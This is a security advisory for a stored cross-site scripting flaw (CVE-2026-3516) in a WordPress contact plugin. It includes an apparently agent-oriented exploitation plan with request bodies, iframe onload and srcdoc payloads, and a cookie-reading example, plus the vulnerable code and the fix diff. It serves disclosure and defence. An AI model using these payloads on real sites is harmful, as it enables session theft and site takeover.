CVE-2026-3516

Contact List <= 3.0.18 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_cl_map_iframe' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.0.19
Patched in
1d
Time to patch

Description

The Contact List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_cl_map_iframe' parameter in all versions up to, and including, 3.0.18. This is due to insufficient input sanitization and output escaping when handling the Google Maps iframe custom field. The saveCustomFields() function in class-contact-list-custom-fields.php uses a regex to extract <iframe> tags from user input but does not validate or sanitize the iframe's attributes, allowing event handlers like 'onload' to be included. The extracted iframe HTML is stored via update_post_meta() and later rendered on the front-end in class-cl-public-card.php without any escaping or wp_kses filtering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.0.18
PublishedMarch 20, 2026
Last updatedMarch 20, 2026
Affected plugincontact-list

What Changed in the Fix

Changes introduced in v3.0.19

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3516 ## 1. Vulnerability Summary The **Contact List** plugin (<= 3.0.18) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the Google Maps iframe custom field for "Contact" posts. An authenticated user with Con…

Show full research plan

Exploitation Research Plan: CVE-2026-3516

1. Vulnerability Summary

The Contact List plugin (<= 3.0.18) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the Google Maps iframe custom field for "Contact" posts. An authenticated user with Contributor-level access or higher can inject arbitrary HTML (specifically <iframe> tags with malicious attributes like onload) into the _cl_map_iframe post meta.

The plugin's saveCustomFields() function (in includes/class-contact-list-custom-fields.php) uses an insufficient regex to "sanitize" the input, only ensuring an iframe is present but failing to strip dangerous attributes. Subsequently, public/class-cl-public-card.php renders this stored meta value directly to the front-end without using wp_kses() or any escaping functions.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (standard WordPress post update endpoint)
  • Action: editpost
  • Vulnerable Parameter: _cl_map_iframe
  • Authentication Level: Contributor or above (any role capable of editing contact custom post types).
  • Preconditions: The "Contact" Custom Post Type must be active (default behavior of the plugin).

3. Code Flow

  1. Entry (Admin/Editor/Contributor): A user edits a "Contact" post. The meta box generated by ContactListCustomFields::createCustomFields() (in includes/class-contact-list-custom-fields.php) provides an input field for the map iframe.
  2. Processing (Save): On save_post, the saveCustomFields() function is triggered.
    • It retrieves $_POST['_cl_map_iframe'].
    • It applies a regex (e.g., preg_match('/<iframe.*<\/iframe>/i', $input, $matches)) to extract the iframe.
    • It fails to sanitize the attributes within the extracted string.
    • The result is saved using update_post_meta($post_id, '_cl_map_iframe', $malicious_iframe).
  3. Sink (Frontend): A user visits a page containing the [contact_list] shortcode.
    • ContactListCard::getMarkup() is called.
    • It iterates through fields and identifies the map field.
    • ContactListCard::getSingleMarkup($id, 'map', ...) is called.
    • Inside the switch ($field) statement, the case 'map' (inferred) fetches the meta: $iframe = get_post_meta($id, '_cl_map_iframe', true);.
    • The code then echoes or returns $iframe raw into the HTML buffer.

4. Nonce Acquisition Strategy

The vulnerability is exploited via the standard WordPress post editing flow.

  1. Identify CPT: The plugin uses CONTACT_LIST_CPT = 'contact'.
  2. Create Post: Create a new contact post using WP-CLI to get a post_id.
  3. Get Nonce:
    • Use browser_navigate to wp-admin/post.php?post=[POST_ID]&action=edit.
    • Use browser_eval to extract the _wpnonce from the form:
      browser_eval("document.querySelector('#_wpnonce').value").
    • Note: The post_ID and standard _wpnonce are required for the editpost action.

5. Exploitation Strategy

Step 1: Create a Contact Post

Use WP-CLI to create a contact post.

wp post create --post_type=contact --post_title="XSS Contact" --post_status=publish --post_author=[CONTRIBUTOR_ID]

Step 2: Inject the Payload

Send a POST request to wp-admin/post.php as the Contributor user.

HTTP Request:

  • URL: http://[target]/wp-admin/post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
action=editpost
&post_ID=[POST_ID]
&_wpnonce=[NONCE]
&_cl_map_iframe=<iframe src="about:blank" onload="alert('XSS_SUCCESS_CVE_2026_3516')"></iframe>

Step 3: Trigger the XSS

Create a public page with the contact list shortcode.

wp post create --post_type=page --post_title="Contact Directory" --post_status=publish --post_content='[contact_list]'

Navigate to this page in the browser. The onload event in the iframe will execute.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin Settings: Ensure the plugin is active. No special configuration is required as the custom fields are enabled by default for the contact CPT.
  3. Shortcode Page: A page containing [contact_list] must exist to render the contacts.

7. Expected Results

  • The injected iframe string <iframe src="about:blank" onload="alert('...')"></iframe> is saved in the wp_postmeta table for the given post_id under the key _cl_map_iframe.
  • When the [contact_list] page is viewed, the HTML source contains the raw iframe tag.
  • The browser executes the onload handler, displaying an alert box.

8. Verification Steps

  1. Database Check:
    wp post meta get [POST_ID] _cl_map_iframe
    
    Confirm the output matches the injected payload exactly.
  2. Frontend check:
    Use the http_request tool to fetch the shortcode page and grep for the payload.
    # Use Playwright/http_request to get HTML
    # Search for: <iframe src="about:blank" onload="alert
    

9. Alternative Approaches

  • SVG Injection: If the regex is strictly looking for <iframe>, try nesting other tags if permitted, though the description specifically flags the iframe field.
  • Different Attributes: If onload is blocked by some external WAF, try onmouseenter, src="javascript:alert(1)", or srcdoc with an encoded payload:
    <iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>
  • Shortcode Specificity: If [contact_list] does not show the map by default, try [contact_list_simple] or check if attributes like [contact_list fields="full_name map"] are needed to force the map rendering. Based on getMarkup in public/class-cl-public-card.php, the fields_string might need to include map.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contact List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_cl_map_iframe' parameter due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level access can inject malicious <iframe> tags with event handlers (like onload) that execute in the browser of any user viewing the affected contact card.

Vulnerable Code

// includes/class-contact-list-custom-fields.php around line 679
                    } elseif ( $customField['type'] == 'textarea_iframe' ) {
                        $iframe_code = $value;
                        $iframeRegex = '/<iframe[^>]*>(.*?)<\\/iframe>/si';
                        $strippedHtml = '';
                        if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {
                            $strippedHtml = $matches[0];
                        }
                        if ( $strippedHtml ) {
                            $value = $strippedHtml;
                        } else {
                            $value = '';
                        }

---

// public/class-cl-public-card.php around line 456
            case 'map':
                if ( isset( $c['_cl_map_iframe'][0] ) && $c['_cl_map_iframe'][0] ) {
                    $iframe_code = $c['_cl_map_iframe'][0];
                    $iframeRegex = '/<iframe[^>]*>(.*?)<\\/iframe>/si';
                    $strippedHtml = '';
                    if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {
                        $strippedHtml = $matches[0];
                    }
                    if ( $strippedHtml ) {
                        $html .= '<div class="contact-list-map-container">';
                        $html .= $strippedHtml;
                        $html .= '</div>';
                    }
                }
                break;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/contact-list/3.0.18/includes/class-contact-list-custom-fields.php /home/deploy/wp-safety.org/data/plugin-versions/contact-list/3.0.19/includes/class-contact-list-custom-fields.php
--- /home/deploy/wp-safety.org/data/plugin-versions/contact-list/3.0.18/includes/class-contact-list-custom-fields.php	2025-06-11 11:20:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/contact-list/3.0.19/includes/class-contact-list-custom-fields.php	2026-03-19 12:14:46.000000000 +0000
@@ -677,17 +677,7 @@
                     if ( $customField['type'] == 'wysiwyg_v2' ) {
                         $value = balanceTags( wp_kses_post( $value ), 1 );
                     } elseif ( $customField['type'] == 'textarea_iframe' ) {
-                        $iframe_code = $value;
-                        $iframeRegex = '/<iframe[^>]*>(.*?)<\\/iframe>/si';
-                        $strippedHtml = '';
-                        if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {
-                            $strippedHtml = $matches[0];
-                        }
-                        if ( $strippedHtml ) {
-                            $value = $strippedHtml;
-                        } else {
-                            $value = '';
-                        }
+                        $value = '';
                     } else {
                         $bypass_sanitation = 0;
                         if ( !$bypass_sanitation ) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/contact-list/3.0.18/public/class-cl-public-card.php /home/deploy/wp-safety.org/data/plugin-versions/contact-list/3.0.19/public/class-cl-public-card.php
--- /home/deploy/wp-safety.org/data/plugin-versions/contact-list/3.0.18/public/class-cl-public-card.php	2025-06-11 11:36:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/contact-list/3.0.19/public/class-cl-public-card.php	2026-03-19 12:14:46.000000000 +0000
@@ -454,19 +454,6 @@
                 }
                 break;
             case 'map':
-                if ( isset( $c['_cl_map_iframe'][0] ) && $c['_cl_map_iframe'][0] ) {
-                    $iframe_code = $c['_cl_map_iframe'][0];
-                    $iframeRegex = '/<iframe[^>]*>(.*?)<\\/iframe>/si';
-                    $strippedHtml = '';
-                    if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {
-                        $strippedHtml = $matches[0];
-                    }
-                    if ( $strippedHtml ) {
-                        $html .= '<div class="contact-list-map-container">';
-                        $html .= $strippedHtml;
-                        $html .= '</div>';
-                    }
-                }
                 break;
             default:
                 $field = sanitize_title( $field );

Exploit Outline

The exploit targets the Google Maps iframe custom field in the 'contact' post type. An attacker with Contributor-level privileges can create or edit a 'contact' post and include a malicious payload in the '_cl_map_iframe' POST parameter. Because the plugin's regex-based sanitization in saveCustomFields() only checks for the presence of an <iframe> tag and does not strip event handlers or other dangerous attributes, the attacker can use a payload like `<iframe src="about:blank" onload="alert(document.cookie)"></iframe>`. Once saved, the payload is stored in post metadata. The script executes whenever a user (including administrators) views a page containing the [contact_list] shortcode that renders the compromised contact record.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.